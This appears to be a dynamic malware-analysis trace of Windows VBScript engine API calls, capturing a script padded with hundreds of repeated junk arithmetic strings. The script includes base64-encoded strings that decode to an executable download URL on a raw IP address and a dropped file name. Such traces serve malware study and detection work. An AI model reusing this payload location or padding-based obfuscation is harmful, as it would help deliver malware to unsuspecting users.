\"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"243", pstrItemName=0x0, punkContext=0x0, pstrDelimiter=0x0, dwSourceContextCookie=0x0, ulStartingLineNumber=0x5, dwFlags=0x42, pvarResult=0x0, pexcepinfo=0x0 | out: pvarResult=0x0, pexcepinfo=0x0) returned 0x0 [0087.106] GetCurrentThreadId () returned 0xd44 [0087.107] realloc (_Block=0x0, _Size=0xc8) returned 0x8474be8 [0087.108] ??2@YAPAXI@Z () returned 0x86bfdc0 [0087.108] malloc (_Size=0x804) returned 0x119a768 [0087.119] free (_Block=0x8474be8) [0087.119] VBScriptEngine5:IActiveScript:SetScriptState (This=0x11a99c0, ss=0) returned 0x0 [0087.119] GetUserDefaultLCID () returned 0x409 [0087.119] GetACP () returned 0x4e4 [0087.119] ISystemDebugEventFire:EndSession (This=0x6bcace8) returned 0x0 [0087.119] IUnknown:Release (This=0x6bcace8) returned 0x1 [0087.119] VBScriptEngine5:IUnknown:Release (This=0x83fd504) returned 0x2 [0087.119] IUnknown:Release (This=0x6bcace8) returned 0x0 [0087.119] IActiveScriptSite:GetDocVersionString (in: This=0x83fd4f8, pbstrVersion=0x0 | out: pbstrVersion=0x0) returned 0x80004001 [0087.119] VBScriptEngine5:IUnknown:Release (This=0x83fd4f8) returned 0x1 [0087.119] VBScriptEngine5:IUnknown:Release (This=0x11a99c4) returned 0x2 [0087.125] VBScriptEngine5:IActiveScript:Close (This=0x11a99c0) returned 0x0 [0087.132] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x0 [0087.214] DllGetClassObject (in: rclsid=0xc7d928*(Data1=0xb54f3741, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8)), riid=0x66902bf4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x154768 | out: ppv=0x154768*=0x846e118) returned 0x0 [0087.214] ??2@YAPAXI@Z () returned 0x846e118 [0087.214] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x846e118, riid=0x66904714*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x0) returned 0x80004002 [0087.214] VBScriptEngine5:IClassFactory:CreateInstance (in: This=0x846e118, pUnkOuter=0x0, riid=0x66901c58*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154774 | out: ppvObject=0x154774*=0x11a99c0) returned 0x0 [0087.214] ??2@YAPAXI@Z () returned 0x11a99c0 [0087.246] GetUserDefaultLCID () returned 0x409 [0087.246] GetACP () returned 0x4e4 [0087.246] VBScriptEngine5:IUnknown:Release (This=0x846e118) returned 0x0 [0087.247] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x11a99c0, riid=0x66908dc8*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x154798 | out: ppvObject=0x154798*=0x11a99c0) returned 0x0 [0087.247] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x1 [0087.247] VBScriptEngine5:IUnknown:AddRef (This=0x11a99c0) returned 0x2 [0087.247] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x1 [0087.247] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x11a99c0, riid=0x66908a40*(Data1=0xbb1a2ae2, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x846d258 | out: ppvObject=0x846d258*=0x11a99c4) returned 0x0 [0087.247] VBScriptEngine5:IActiveScriptParse32:InitNew (This=0x11a99c4) returned 0x0 [0087.247] VBScriptEngine5:IActiveScript:SetScriptSite (This=0x11a99c0, pass=0x83fd4f8) returned 0x0 [0087.247] GetCurrentThreadId () returned 0xd44 [0087.247] ??2@YAPAXI@Z () returned 0x1186b60 [0087.247] ??2@YAPAXI@Z () returned 0x83fd368 [0087.247] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd4f8, riid=0x6689b67c*(Data1=0x539698a0, Data2=0xcdca, Data3=0x11cf, Data4=([0]=0xa5, [1]=0xeb, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x47, [6]=0xa0, [7]=0x63)), ppvObject=0x1186bb4 | out: ppvObject=0x1186bb4*=0x0) returned 0x80004002 [0087.247] VBScriptEngine5:IUnknown:AddRef (This=0x83fd4f8) returned 0x2 [0087.247] IActiveScriptSite:GetLCID (in: This=0x83fd4f8, plcid=0x154760 | out: plcid=0x154760*=0x800) returned 0x0 [0087.247] GetSystemDefaultLCID () returned 0x409 [0087.247] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x154730, cchData=6 | out: lpLCData="1252") returned 5 [0087.247] IsValidCodePage (CodePage=0x4e4) returned 1 [0087.248] IActiveScriptSite:GetDocVersionString (in: This=0x83fd4f8, pbstrVersion=0x5 | out: pbstrVersion=0x5) returned 0x80004001 [0087.248] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd4f8, riid=0x6689afa4*(Data1=0x51973c11, Data2=0xcb0c, Data3=0x11d0, Data4=([0]=0xb5, [1]=0xc9, [2]=0x0, [3]=0xa0, [4]=0x24, [5]=0x4a, [6]=0xe, [7]=0x7a)), ppvObject=0x11a9b4c | out: ppvObject=0x11a9b4c*=0x83fd504) returned 0x0 [0087.248] VBScriptEngine5:IActiveScriptSiteDebug32:GetApplication (in: This=0x83fd504, ppda=0x11a9b54 | out: ppda=0x11a9b54*=0x0) returned 0x80004001 [0087.248] CoCreateInstance (in: rclsid=0x6689b234*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6689b244*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x11a9b9c | out: ppv=0x11a9b9c*=0x6bcace8) returned 0x0 [0087.248] IUnknown:AddRef (This=0x6bcace8) returned 0x2 [0087.248] ISystemDebugEventFire:BeginSession (This=0x6bcace8, guidSourceID=0x6689b308, strSessionName="VBScript:00003392:00003396:12297621") returned 0x0 [0087.249] VBScriptEngine5:IActiveScriptParse32:ParseScriptText (in: This=0x11a99c4, pstrCode="\r\nfsdfdsfs = \"aHR0UDovLzEzLjkyLjEwMC4yMDgvZG9jL2RvYy5leGU=\" '9vnw9r\r\nyulkytjtrhtjrkdsarjky =\"ZG9jLmV4ZQ==\" '9vnw9r\r\n\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = 